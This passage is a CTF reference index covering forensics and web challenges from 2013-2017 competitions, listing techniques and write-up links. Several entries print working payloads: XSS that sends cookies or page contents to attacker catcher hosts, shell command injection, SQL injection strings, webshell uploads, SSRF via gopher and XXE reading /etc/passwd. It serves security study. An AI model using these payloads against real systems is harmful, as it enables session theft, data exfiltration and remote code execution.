1297http://lockboxx.blogspot.com.au/2016/05/asis-ctf-2016-quals-writeup-odrrere.html
1298
1299* memdump - su-ctf-2016
1300packed PE use DiE to find packer, then OllyDbg to unpack (or use https://retdec.com/)
1301
1302* procrastination - internetwache-ctf-2016
1303dtmf tones in webm file
1304mediainfo to see what contains the webm file
1305avconf to extract second track
1306multimon-ng to parse DTMF tones ./multimon-ng -t wav -a DTMF msg.wav
1307https://www.xil.se/post/internetwache-2016-crypto-80-arturo182/
1308https://0x90r00t.com/2016/02/22/internetwache-ctf-2016-crypto-80-procrastination-write-up/
1309
1310* invest - nuitduhack-quals-2016
1311reconstruct key using a picture of a logical schema (xor gates)
1312https://github.com/p4-team/ctf/tree/master/2016-04-01-nuitduhack-quals/invest
1313
1314* one bad son - asis-ctf-2016
1315convert BSON into JSON to rebuild a png file
1316https://github.com/p4-team/ctf/tree/master/2016-09-09-asis-final/one_bad_son
1317
1318* good food sources - hitb-ctf-amsterdam-2016
1319use pynids to easily reassemble fragmented tcp streams from given pcap
1320https://ced.pwned.systems/hitb-2016-ctf-net100-good-food-sources.html
1321
1322* corruption - tjctf-2016
1323png with every chunk length and crc corrupted
1324https://bobacadodl.gitbooks.io/tjctf-2016-writeups/content/corruption_130_pts.html
1325
1326* robot plans - hack-lu-ctf-2013
1327md5s of lock pattern for android (gesture hashes)
1328https://thufirhowatt.wordpress.com/hack-lu-ctf-robot-plans-writeup/
1329or like in ctfx-2016/iTrash find gesture.key and follow http://resources.infosecinstitute.com/android-forensics-cracking-the-pattern-lock-protection/
1330
1331* secr3tmgr lock - insomnihack-ctf-2017
1332crack android lockscreen password from /data/system/password.key and device_policies.xml
1333http://arishitz.net/writeup-secr3tmgr-forensic-insomnihack-2017/
1334
1335* flying high - hitb-ctf-singapore-2017
1336UBIFS
1337https://nandynarwhals.org/hitbgsec2017-flyinghigh/
1338
1339* arrdeepee - hitb-ctf-singapore-2017
1340decrypt RDP over SSL using pkcs12 transmitted over udp, and replay the RDP session
1341https://nandynarwhals.org/hitbgsec2017-arrdeepee/
1342
1343* reading between the lines - square-ctf-2017
1344tampered zip containing 4 files but only decompresses to 3 files because of tampered central directory
1345https://pequalsnp-team.github.io/writeups/reading_between_the_lines
1346
1347* help - kaspersky-ctf-2017
1348given memory dump, recover a KeePass database whose Master Key includes a Windows User Account
1349http://blog.ghaaf.me/2017/10/14/kaspersky-ctf-help-forensic-500/
1350
1351# }}}
1352
1353# web {{{
1354* devilish - 31c3-ctf-2014
1355sqli with tricks to bypass waf
1356
1357* web proxy - codegate-preliminary-2014
1358range header
1359http://blog.0xdeffbeef.com/2014/02/codegate-ctf-2014-web-proxy-web-200.html
1360
1361* web400 - confidence-ds-ctf-teaser-2014
1362use self-reference in serialized php
1363bypass $auth['hmac_t'] === $auth['hmac'] using a self-reference: $auth['hmac_t'] = &$auth['hmac'];
1364bypass $row['password'] == $auth['password'] using $auth['password'] = true because var_dump("unknown pw" == true) => bool(true)
1365
1366* hashes - csaw-ctf-2014
1367dom xss, window.location.hash unsafely passed in jquery's $() results in arbitrary code being eval'ed
1368https://github.com/ctfs/write-ups-2014/tree/master/csaw-ctf-2014/hashes
1369
1370* web400 - d-ctf-2014
1371soffice.bin accepting socket connections on 127.0.0.1:2002, using unoconv to connect to the running process
1372https://github.com/ctfs/write-ups-2014/tree/master/d-ctf-2014/web-400
1373
1374* web400 - defkthon-ctf-2014
1375Error: Object Not Found - missing (GET /astro_users/test []) (errcode=404) <= couchdb
1376use the _all_docs endpoint 
1377https://github.com/ctfs/write-ups-2014/tree/master/defkthon-ctf/web-400
1378
1379* hotcows dating - hack-lu-ctf-2014
1380git folder and xss using html only to bypass csp
1381https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/hotcows-dating
1382
1383* imageupload - hack-lu-ctf-2014
1384upload jpg with sqli in exif tag
1385https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/imageupload
1386
1387* daltons corporate security safe for business - hack-lu-ctf-2014
1388bypass captcha with javascript
1389https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/daltons-corporate-security-safe-for-business
1390
1391* angrybird - hack-you-2014
1392Windows winapi FindFirstFile quirk
1393?page=p<< will become p* and include_once will return the first file starting with "p" (e.g. phpinfo.php)
1394can also find folders: if a<< returns and empty page instead of Page does not exists, then we guessed the first letter of a directory
1395bruteforce to obtain full name
1396http://www.pwntester.com/blog/2014/01/15/hackyou2014-web300-write-up/
1397
1398* PHPwing - hack-you-2014
1399using built-in classes to read local file, and fire an xxe to bypass ssrf
1400custom session_start class, deserialization to rce
1401http://www.pwntester.com/blog/2014/01/17/hackyou2014-web400-write-up/
1402
1403* snake - hack-you-2014
1404X-Forwarded-For:|`echo bHMgLw==|base64 -d`| to create a file that will be run with Perl's <FILE>
1405http://www.pwntester.com/blog/2014/01/15/hackyou2014-web200-write-up/
1406
1407* voting - hack-you-2014
1408bypass PHP is_numeric() with hex literal (old php version)
1409http://www.pwntester.com/blog/2014/01/15/hackyou2014-web100-write-up/
1410
1411* easyinf - hitcon-ctf-2014
1412stacked sqli and using procedure to not have dots in the query
1413id=');set @a=0x53454c45435420...0a;PREPARE st FROM @a;EXECUTE st;SELECT ('
1414https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/easyinj
1415
1416* leenode - hitcon-ctf-2014
1417vulnerable jrun server behind apache, double encoding and \ to bypass apache and read /admin/.htaccess
1418/.%5cadmin%5c.htaccess%253b.jsp
1419https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/leenode
1420
1421* py4h4sher - hitcon-ctf-2014
1422pbkdf2 hmac sha1 collision
1423https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/py4h4sher
1424
1425* pushin cat - hitcon-ctf-2014
1426sqli in insert and postgres+H2
1427use sqli to insert a second record with admin role and IP 127.0.0.1
1428use stack sql to upload webshell with H2 function: CALL CSVWRITE('/var/www/html/ws.php', 'SELECT CHR(60)||...')-- -
1429https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/pushin-cat
1430
1431* xnginx - olympic-ctf-2014
1432host header injection + nginx's X-Accel-redirect header to request /flag only accessible from localhost
1433http://www.pwntester.com/blog/2014/02/09/olympic-ctf-curling-tasks/
1434
1435* rpc - olympic-ctf-2014
1436rpc json and php magic method names
1437http://www.pwntester.com/blog/2014/02/09/olympic-ctf-curling-tasks/
1438
1439* stand back - phd-ctf-quals-2014
1440sqli with aes-ofb encrypted input
1441flip one byte until sql syntax error
1442we have a byte that when xored with ' gives us the keystream byte
1443also since plaintext only uses a restricted set of chars, we can recover keystream bytes with
1444for every char in restricted set do char^ciphertext[i] -> Z
1445obtain lots of ciphertexts and discards the Zs that arent in any of them
1446
1447* php_jl - phd-ctf-quals-2014
1448turn lfi into rce with race condition on file upload
1449read src with ?code=require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=index.php
1450code=include($_FILES[foo][tmp_name]."|0");include($_POST[p]);include($_POST[p]);...x12 times in total;include($_POST[p]);a:%0Agoto%20a;' -F foo=@test.php -F p=AAAA.. (806 As)
1451upload file, make it output tmp_name by triggering a file not found include, fil up output buffer, infinite loop request is killed after 30s timeout
1452then exec uploaded php with ?code=;require("/tmp/phplUaO5I");%20return%2042;
1453bypass function blacklist with test.php: <?php $file_path="ls -la /home/phd/"; $get_password_hash = 'system'; ?> because index.php does $get_password_hash($file_path) after the eval($_GET['code'])
1454http://blogs.tunelko.com/2014/01/27/phdays-2014-quals-php_jl-writeup/
1455
1456* oracle - phd-ctf-quals-2014
1457sqli in oracle, need to use procedure owned by another user because current user unpriviliged
1458https://github.com/ctfs/write-ups-2014/tree/master/phdays-iv-quals/oracle
1459
1460* bronies - plaid-ctf-2014
1461xss+xhr to access internal website (without jquery)
1462use xss in website1 to redirect victim to our page with a csrf that POSTs to website2 and triggers an error to reflect another xss
1463use xhr to add a form that will exfil internal website3 pages
1464https://fail0verflow.com/blog/2014/plaidctf2014-web800-bronies.html
1465
1466* web300 - volga-quals-2014
1467EncChar crazy php trick
1468http://dvteam.org/writeups/volgactf/quals/2014/web/300/
1469HINT: /?e=echo pi
1470I should have at least tried /?e=phpinfo
1471chars blacklisted ` ' " ( ) etc.
1472double quotes are blacklisted but
1473$str = <<<EOF
1474string content
1475EOF;
1476is equivalent to 
1477$str = "string content"
1478
1479include DIRECTORY_SEPARATOR.<<<EOF
1480etc
1481EOF
1482.DIRECTORY_SEPARATOR.<<<EOF
1483hosts
1484EOF
1485.printf
1486is equivalent to 
1487include "/etc/hosts".printf
1488
1489find flag in index.php with: php://filter/convert.base64-encode/resource=index.php # works even if allow_url_include = off
1490<?
1491sleep(1);
1492$f= $_GET['e'];
1493$f = str_replace(array('`','$','*','#',':','\\','"','(',')','>','\'','/','^',';'),'', $f);
1494die(@eval("$f();"));
1495FLAG?: ...
1496
1497* web400 - volga-quals-2014
1498rce via expression language injection
1499curl .../?header=http://attacker/pwn.xtml
1500cat pwn.xhtml
1501<?xml version='1.0' encoding='UTF-8' ?>
1502<!DOCTYPE html>
1503<html xmlns="http://www.w3.org/1999/xhtml">
1504<body>
1505<div id="top"> </div>
1506</body>
1507</html>
1508
1509* web500 - volga-quals-2014
1510/login?login=log&password=pass => true (https://sqlite.org/lang_keywords.html)
1511https://rdot.org/forum/showthread.php?p=35191#post35191
1512
1513* abitbol - nuit-du-hack-ctf-qualifications 2014
1514zoom.php vuln to xss so we send below payload via contact form
1515<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>document.location="http://ctf.pwntest.com/catcher.php?data="+document.cookie</script>" /> # steal session id
1516<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>flag = new XMLHttpRequest(); flag.open('GET','/flag.php',false); flag.send(); flag.open('GET','http://ctf.pwntester.com/catcher.php?data='+flag.response); flag.send();</script>" />
1517
1518* titanoreine - nuit-du-hack-ctf-qualifications 2014
1519When uploading a normal jpg image, we can see that the server processes it using GD with the quality 98.
1520I assume we need to upload an image of the same quality so that our php code is more likely to survive the processing.
1521I used Virtualabs' Nasty bulletproof Jpeg generator to insert php code within a valid jpg image. 
1522lfi with prefix in ?lang=fr.php => blah.php/../2.jpg or blah/../../includes/2.jpg => the image is included
1523list directory with ?lang=/../../includes/98.jpg&c=var_dump(glob(%22*%22))%3b and read file with echo%20file_get_contents(%22flag%22)%3b or with highlight_file()
1524
1525* nightly auth - nuit-du-hack-ctf-qualifications 2014
1526time-based username enumeration, and then XPATH injection with the password: " or 1=1 "
1527https://github.com/ctfs/write-ups-2014/tree/master/nuit-du-hack-ctf-qualifications/nightly-auth
1528
1529* mtpox - plaid-ctf-2014
1530hash length extension
1531hash_extender -d ";0:b" -a ";1:b" --secret 8 -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 
1532
1533* whatscat - plaid-ctf-2014
1534sqli in update stmt because of dns ANY request to domain provided by attacker
1535https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-300-whatscat-sql-injection-via-dns
1536
1537* polygonshifter - plaid-ctf-2014
1538blind sqli in login
1539username=admin&password=' or 1=1-- => logged in as admin but password is the flag
1540username=admin&password=' or (password LIKE 'a%) and 1='1
1541
1542* dt_vcs - phd-ctf-quals-2014
1543xss using callback to contact (Reverse Clickjacking)
1544callback=document.body.firstChild.click&contact=javascript:alert(1)
1545http://paul-axe.blogspot.com.au/2014/01/phdays-2014-quals-dtvcs-writeup.html
1546
1547* steve's list - pico-ctf-2014
1548hash length extension attack, php unserialization and preg_replace /e
1549https://ehsandev.com/pico2014/web_exploitation/steves_list.html
1550
1551* reeekeeeeee - plaid-ctf-2014
1552django website using pickle to serialize cookie
1553https://fail0verflow.com/blog/2014/plaidctf2014-web200-reeekeeeeee.html
1554
1555* irrsa - ructf-2014-quals
1556xss in user-agent but httponly, CSP "default-src 'self'" and no outbound
1557we can fix the session cookie of the admin on sub paths
1558
1559* mssngrrr - ructf-2014-quals
1560xss via upload gif/js polyglot
1561https://github.com/ctfs/write-ups-2014/tree/master/ructf-2014-quals/web-300
1562
1563* seccon-ctf-2014
1564sqlite sqli in insert via heartbleed
1565https://github.com/ctfs/write-ups-2014/tree/master/seccon-ctf-2014/bleeding-heartbleed-test-web
1566
1567* simple login - secuinside-ctf-prequal-2014
1568hash length extension with crc32
1569
1570* kummerkasten - 32c3-ctf-2015
1571xss and jquery to retrieve admin pages
1572$.post('http://x:1234', {'a': btoa($('body')[0].innerHTML)})
1573https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web/kummerkasten-300
1574
1575* sequence hunt - 32c3-ctf-2015
1576timing attack because sleep() blocks further requests
1577https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web/sequence-hunt-200
1578
1579* tinyhosting - 32c3-ctf-2015
1580php short tags
1581can upload .php files but content restricted to 7 chars
1582upload files bash and bash2 (bash2 contains cat /*) and upload woot.php with <?=`*`;
1583accessing woot.php will execute bash bash2 index.html ...
1584https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version
1585
1586* webchat - bctf-2015
1587sqli + xss
1588sqli in INSERT and use char() to bypass blacklisted chars [<>...]
1589https://github.com/ctfs/write-ups-2015/tree/master/bctf-2015/web/webchat
1590
1591* torrent_lover - bctf-2015
1592shell command injection, use IFS to not have spaces and use tr to replace whitespace
1593post_param=http%3A%2F%2Four.ip%2F`IFS=+;a=ls+-l;ta1=tr+'\t'+'?';ta2=tr+'\n'+'?';ta3=tr+'\40'+'?';$a|$ta1|$ta2|$ta3`.php%0aa.torrent
1594https://github.com/pwning/public-writeup/blob/master/bctf2015/web_233-torrent_lover/writeup.md
1595
1596* owltube - codegate-2015
1597aes cbc bit flip to change {"u": "x", "pw": "admin"} to {"u":  "x", "u": "admin"}
1598https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/CODEGATE/web/owltube/README.md
1599
1600* mac hacking - confidence-ctf-teaser-2015
1601hmac forgery
1602because there is a hashing oracle returning `hash(key XOR ourinput)`
1603we can forge a valid hmac thourgh a hash length extension attack
1604https://github.com/ctfs/write-ups-2015/tree/master/confidence-ctf-teaser-2015/crypto/mac-hacking-150
1605
1606* teachers pinboard - hack-lu-ctf-2015
1607pickle.js nodejs
1608https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/web/teachers-pinboard
1609
1610* babyfirst - hitcon-ctf-quals-2015
1611bypass preg_match('/^\w+$/', args[i]) and inject in exec() with ?args[]=aa%0a&args[]=busybox&args[]=ftpget&args[]=<ip-in-decimal>&args[]=myscript
1612https://github.com/pwning/public-writeup/blob/master/hitcon2015/web100-babyfirst/writeup.md
1613
1614* giraffe's coffee - hitcon-ctf-quals-2015
1615the reset pw page uses insecure mt_rand() because when called for the first time, PHP will generate a 32-bit seed and pass it to mt_srand() (if mt_srand has not already been called)
1616with mod_php the mt_rand state is preserved for all requests in a particular worker process so
1617we reset our account's pw and bruteforce the seed with http://www.openwall.com/php_mt_seed/ and use Keep-Alive to continue making requests to the same worker
1618
1619* lalala - hitcon-ctf-quals-2015
1620ssrf + redirect server with Location: file://index.php to bypass file:// and .php filters
1621nginx fastcgi_pass we can access PHP-FPM socket via the redirect and use gopher:// protocol for crafting packets
1622https://github.com/ctfs/write-ups-2015/tree/master/hitcon-ctf-quals-2015/web/lalala
1623
1624* barista - icectf-2015
1625webapp written coffeescript where maps contain builtin keys by default
1626http://blog.atx.name/icectf/#Barista
1627
1628* login as admin - mma-ctf-2015
1629memcache injection in cookie
1630curl .. --cookie "ss=%0d%0astats"
1631curl .. --cookie "ss=%0d%0aset adminkey 0 3600 20%0d%0a{\"username\":\"admin\"}"
1632https://gist.github.com/Becojo/d84ff959281aea7e4ad4
1633
1634* web5 - nullcon-hackim-2015
1635break captcha
1636convert image into black & white and use tesseract-ocr (some writeups did more complicated)
1637https://github.com/ctfs/write-ups-2015/tree/master/nullcon-hackim-2015/web-5
1638
1639* hype - uiuctf-2015
1640website lists hyperboria peers, install cjdns and access website via its hyperboria ipv6 address
1641http://capturetheswag.blogspot.com.au/2015/04/uiuctf-2015-hype-web-challenge.html
1642
1643* clue - backdoor-ctf-2016
1644private github repo can be accessed through gh-pages: user.github.io/repo-name/flag
1645http://b0tchsec.com/2016/backdoorctf/clue
1646
1647* can you hit me - ssctf-2016
1648angularjs sandbox bypass -> xss
1649https://github.com/ctfs/write-ups-2016/tree/master/ssctf-2016/web/can-you-hit-me-200
1650
1651* legend - ssctf-2016
1652nosql blind sqli
1653https://github.com/ctfs/write-ups-2016/tree/master/ssctf-2016/web/legend-legend-300
1654
1655* greenbox - insomnihack-teaser-2016 
1656javascript sandbox escape
1657
1658* signserver - nullcon-hackim-2016
1659xmldecoder (object serialized in xml)
1660https://github.com/tuvshuud/1up/blob/master/hackim2016/web100.md
1661https://www.dailysecurity.fr/write-up-hackim-web100-web400/
1662http://developers-club.com/posts/271431/ (zeronights hackquest ctf task "bazaarng")
1663
1664* unickle - nullcon-hackim-2016
1665union sqli + pickle
1666https://github.com/ctfs/write-ups-2016/tree/master/nullcon-hackim-2016/web/unickle-200
1667
1668* smashthestate - nullcon-hackim-2016
1669upload archive symbolic link (zip --symlinks)
1670https://github.com/ctfs/write-ups-2016/tree/master/nullcon-hackim-2016/web/smashthestate-400
1671
1672* hqlol - nullcon-hackim-2016
1673hql injection
1674https://github.com/ctfs/write-ups-2016/tree/master/nullcon-hackim-2016/web/unickle-200
1675
1676* oldpersian - su-ctf-2016
1677break captcha
1678http://gnoobz.com/sharif-ctf-2016-web-250-oldpersian.html solving via image compare 100% success and super simple
1679
1680* bugbounty - boston-key-party-2016
1681bypass csp with
1682<link rel="prefetch" href="http://me/">  
1683<meta http-equiv="refresh" content="0; url=http://me/i">
1684https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/web/bug-bounty-3
1685
1686* rand - 0ctf-2016
1687recover php rand() seed within 1 minute, given the first number and the md5 of the five next numbers
1688php seeds rand() with (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
1689we can use the Date: header and just bruteforce the pid (standard pid_max is 32768)
1690php reuses seeds in existing mod_php processes so established 20 connections to ensure we get numbers from a fresh Apache child
1691trying all possible pids took a lot longer than one minute, but once found the first valid pid we can predict what range the next pid will be and greatly reduce the number of tries required
1692https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2 http://dragonsector.pl/docs/0ctf2016_writeups.pdf
1693
1694* monkey - 0ctf-2016
1695proof of work in Go
1696DNS rebinding to bypass CORS
1697https://w00tsec.blogspot.com.au/2016/03/0ctf-2016-write-up-monkey-web-4.html
1698
1699* guestbook - 0ctf-2016
1700part1: xss and chrome xss auditor bypass trick
1701use innerHTML to execute JavaScript
1702bypass filter() with hexadecimal/unicode escape sequences
1703pass username=debug to define the JS variable debug to true because our username will be reflected as <div id="debug"> and in Chrome, HTML element with ID will be automatically available in JS
1704and pass secret=<script>var+debug=false;</script> so that Chrome xss auditor will think that debug=false is controlled by attacker and will ignore initialization
1705xss admin to send us content of phpinfo page which will contain httponly cookie
1706http://security.szurek.pl/0ctf-2016-guestbook-1-writeup.html
1707part2: ssrf to redis to upload files
1708trick to bypass disable_function: upload .so and .php with https://blog.ka0labs.net/post/33/
1709
1710* zerodaystore - bctf-2016
1711b64decode doesn't "safe decode" (ignores any non-base64 stuff after the base64 string)
1712bypass signature check by submitting price=1337&sign=YTFiMmMzZDRlNWY2Cg==&price=0 to override price to 0
1713because b64decode(b64encode("test")+"&price=0") => 'test'
1714https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BCTF/misc/zerodaystore
1715 
1716* qaq - bctf-2016
1717xss and CORS
1718use jquery to exfil responses from internal server
1719comment payload: <iframe src="http://our.ip/"/> and index.html:
1720<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
1721<script type="text/javascript" charset="utf-8">
1722jQuery.get( "http://172.17.0.2/", function(data) {
1723  jQuery.post("http://our.ip/catcher", { x: data});
1724});
1725</script>
1726
1727* homework - bctf-2016
1728sqli through xss
1729https://www.ibrahim-elsayed.com/?p=214
1730
1731* js is not a jail - codegate-ctf-2016
1732javascript jail
1733https://github.com/ctfs/write-ups-2016/tree/master/codegate-ctf-2016/web/js-is-no-a-jail
1734
1735* bathing and grooming - pwn2win-ctf-2016
1736sqli in sqlite, implement MD5 in pure SQL
1737https://github.com/epicleet/write-ups-2016/tree/pwn2win-ctf-2016/pwn2win-ctf-2016/web/bathing-and-grooming-400
1738
1739* facebug - pwn2win-ctf-2016
1740server-side template injection in User-Agent (Mako Templates for Python)
1741http://security.szurek.pl/pwn2win-ctf-2016-facebug-writeup.html
1742
1743* toil33t - nuitduhack-quals-2016
1744aes ecb shuffle blocks to get admin=true
1745https://www.asafety.fr/cryptologie/ctf-ndh-2016-quals-write-up-cryptography-toil33t/
1746
1747* spacesec - nuitduhack-quals-2016
1748mysql sqli in limit (can't do a union after order by)
1749replace spaces with %0a to bypass waf
1750https://www.dailysecurity.fr/write-up-ndh-quals-2016-spacesec/
1751
1752* facesec2 - nuitduhack-quals-2016
1753upload a tar archive with x.py file, short window to GET /upload/x.py and exec our code
1754https://github.com/hexpresso/WU-2016/tree/master/nuit-du-hack-ctf-quals-2016/webapp/facesec2
1755
1756* pixelshop - plaid-ctf-2016
1757LFI via zip://uploads/blah.png#webshell
1758uploaded png was transformed to a zip file by changing its palette (stored in consecutive bytes)
1759https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/web_pixelshop
1760
1761* secure auth - tu-ctf-2016
1762rsa signing oracle, submit signature for m to get flag (server will sign anything but m)
17631^d => 1 so server doesnt use padding (textbook rsa)
1764first recover N with gcd(c1^e - 2, c2^e - 3) with e=65535
1765then obtain signature for m*2 and 2^-1 and produce forged signature via (m*2)^d * (2-1)^d => m^d
1766http://duksctf.github.io/TUCTF-Secure-Auth/
1767
1768* flag storage server - google-ctf-2016
1769GQL injection using like
1770data={'username': "manager' AND password >= 'CTF{" + password + chr(c) + "' AND password < 'z"} // for c in range(33, 126)
1771http://buer.haus/2016/05/01/google-ctf-web-11-flag-storage-service/
1772
1773* zippy - confidence-dragonsector-finals-ctf-2016
1774use abstract.zip from gynvael coldwind ten thousand traps (http://gynvael.coldwind.pl/?id=523) to upload zip with a .php file not visible by zip tools
1775http://security.szurek.pl/confidence-dragonsector-ctf-zippy-web-300-writeup.html
1776
1777* pentest - asis-ctf-2016
1778ssrf in Referer to get the server's real IP from the cdn
1779bf redis password and dump ssh key in the webmaster's home
1780task inspired from http://antirez.com/news/96
1781https://gist.github.com/stypr/30b0a68b69dbf54d20e420e2b415f8ca
1782
1783* mfw - csaw-ctf-2016
1784command injection in php assert(): assert("strpos('$file', '..') === false") or die();
1785exploit with ?file=') || var_dump(file_get_contents('flag.php'));//
1786
1787* angry seam - hitcon-ctf-quals-2016
1788there were 3 solutions
1789java deserialization in Richfaces 3.3.3Final (CVE-2013-2165)
1790actionMethod + double EL injection (bypass 0day)
1791session puzzling (register admin username fails but upgrades to admin session)
1792
1793* baby trick - hitcon-ctf-quals-2016
1794bypass __wakeup() and use mysql utf-8 collation to bypass php check "if ($username === 'orange')" with 'orÄnge'
1795http://0xecute.com/index.php/2016/10/10/baby-trick/
1796
1797* secureposts - hitcon-ctf-quals-2016
1798ssti via {{config}} and then yaml rce in flask session cookie
1799rizzoma
1800
1801* cyber-security-challenge-belgium-2016-qualifiers
1802enter websocket code in browser console to submit fake score
1803https://github.com/ctfs/write-ups-2016/tree/master/cyber-security-challenge-belgium-2016-qualifiers/Web%20Security/Tap-dat-ass-part1
1804
1805* tsurai - mma-ctf-2016
1806upload __init__.py with
1807x = __import__('subprocess'); x.check_output(...)
1808https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/
1809
1810* sbbs - secuinside-ctf-quals-2016
1811xss + flask ssti via error page only accessible from localhost
1812https://github.com/p4-team/ctf/blob/master/2016-07-09-secuinside-ctf/SBBS/README.md
1813
1814* cbpm - sharif-ctf-2016
1815send xss to admin to exfil flag from localStorage by updating profile (no outbound)
1816https://github.com/p4-team/ctf/tree/master/2016-12-16-sharifctf7/web_300_cbpm
1817
1818* lucky charms - tu-ctf-2016
1819simple java deserialization
1820https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/TUCTF/web/LuckyCharms
1821
1822* ultimate design tool - whitehat-contest-11
1823css injection
1824https://github.com/ctfs/write-ups-2016/tree/master/whitehat-contest-11/web/ultimate-design-tool-100
1825
1826* web400 - sect-ctf-2016
1827bypass csp by loading outdated angularjs from whitelisted cdn
1828https://blog.0daylabs.com/2016/09/09/bypassing-csp/
1829
1830* artisinal shoutboxes - boston-key-party-2017
1831chain 2 xss, first xss sets cookie with second xss payload to exfil admin page content
1832http://www.rogdham.net/2017/02/27/boston-key-party-2017-write-ups.en
1833
1834* prudentialv2 - boston-key-party-2017
1835sha1 collision (only use first 260 bytes of poc pdfs)
1836http://www.rogdham.net/2017/02/27/boston-key-party-2017-write-ups.en
1837
1838* zumbo3 - bsides-sanfransisco-ctf-2017
1839ssti flask jinja2
1840https://0day.work/bsidessf-ctf-2017-web-writeups/#zumbo3
1841
1842* flasking unicorns
1843ssti to write python code to /tmp and run it via config.from_pyfile()
1844https://0day.work/ictf-2017-flasking-unicorns-writeup-or-how-we-might-have-rooted-your-ictf-vm/
1845
1846* complicated xss - 0ctf-2017
1847stripped XMLHttpRequest from window but can restore it from frames[0]
1848chain 2 xss via cookie
1849https://jiulongw.github.io/post/0ctf-2017-complicated-xss/
1850
1851* corp news - volga-ctf-quals-2017
1852jquery xhr xss to change admin's pw
1853http://fadec0d3.blogspot.com.au/2017/03/volgactf-2017-quals-corp-news-300.html
1854
1855* the great continuation - insomnihack-ctf-2017
1856csrf + chain 2 xss, bypass csp via uploading file containing html
1857https://blog.compass-security.com/2017/03/write-up-the-great-continuation/
1858
1859* smarttomcat2 - insomnihack-ctf-2017
1860char @ blacklisted, bypass using gopher (u=gopher://localhost:8080/aGET%20/manager/html%20HTTP/1.1%250d%250aAuthorization:%20Basic...
1861https://blog.compass-security.com/2017/03/write-up-smarttomcat2/
1862
1863* deep experiments - insomnihack-ctf-2017
1864upload SHA.pm and .htaccess to break Perl publish.cgi server
1865https://codisec.com/insomnihack-2017-deep-experiments/
1866
1867* maze - tamuctf-2017
1868websocket, use console tab of developer tools to interact with ws socket: type socket.emit('bla', {a: 1, b: 2});
1869https://ctftime.org/writeup/6575
1870
1871* paint - bctf-2017
1872PHP-GD imagecreatefrompng()
1873server concats 3 files, let file2 be the flag file, file1 and file3 are valid GIF prefix/suffix so that the resulting image is valid
1874http://corb3nik.github.io/blog/bctf-2017/paint
1875
1876* br0kenmysql[123] - meepwn-ctf-2017
1877id has to be 2 (guest) in the first query and 1 (admin) in the second query
1878?id=(select case substring(uuid(),5,1) when 1 then 2 else 1 end)
1879?id=1%2BCURRENT_TIMESTAMP%252' will bypass sleep|benchmark|floor|rand|count|select|from|\(|\)
1880?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end will bypass sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day
1881
1882* flag shop - meepwn-ctf-2017
1883sqli and bypass filter: whitespace with /*!50000*/, = with LIKE and AND with &&
1884https://nightst0rm.net/2017/07/writeup-flag-shop-br0kenmysql-v3-meepwnctf/
1885
1886* lonelyboy - meepwn-ctf-2017
1887xss via svg with XMLHttpRequest() because PhantomJS needs async
1888apache server uses php-fpm so upload .user.ini with auto_append_file xx
1889upload 2.jpg with php webshell and upload xx with <?=copy("2.jpg",2); and rce with GET /index.php
1890then reupload xx with auto_append_file 2 and rce with /index.php?c=cat+...
1891https://nightst0rm.net/2017/07/writeup-lonelyboy-meepwnctf/
1892
1893* rfile - rctf-2017
1894lfi on flask app, in python3.5 server files are cached under __pycache__/ so retrieve ../__pycache__/conf.cpython-35.pyc to find flag
1895https://ctftime.org/writeup/6714
1896
1897* rcdn - rctf-2017
1898exploit Chrome's unicode size expansion during browser URL normalization to submit a subdomain of length <= 6 chars
1899https://ctftime.org/writeup/6715
1900
1901* a template jest - sctf-2017
1902nodejs (Express) command injection with /vuln/new%20Date()
1903dump mem with Buffer(1e5) to find flag
1904https://losfuzzys.github.io/writeup/2017/05/31/SCTF2017-temple-jest/
1905
1906* back to the past - google-ctf-2017
1907AngularJS v1.5.8 sandbox escape via history.back(-1)
1908https://ctftime.org/writeup/6815
1909
1910* a7 gee cue elle - google-ctf-2017
1911GQL injection with rate limits
1912https://github.com/p4-team/ctf/tree/master/2017-06-17-googlectf/a7_gee_cue_elle
1913
1914* geokittiesv2 - google-ctf-2017
1915xss with unicode U+212A kelvin sign to bypass filter
1916https://drive.google.com/drive/folders/0BwMPuUHZOj0nS1MwTVF1ZW9SdEE
1917
1918* mygf - secuinside-ctf-quals-2017
1919use information_schema.processlist in sqli to leak secret key in first query (race)
1920https://ctftime.org/writeup/6901
1921
1922* polishop - polictf-2017
1923xpath blind injection
1924https://ctftime.org/writeup/6954
1925
1926* pyzzeria - polictf-2017
1927arbitrary read to leak hmac secret char by char
1928https://devcraft.io/posts/2017/07/10/pyzzeria-polictf-2017.html
1929
1930* mr future president - ctfzone-2017
1931email header injection + xxe
1932subject=-->%26xxe;test123%0d%0aCc:+a@evil.com&encoding=UTF-8"%3f><!DOCTYPE+foo+[<!ELEMENT+foo+ANY+><!ENTITY+xxe+SYSTEM+"file%3a///etc/passwd"+>]><!--
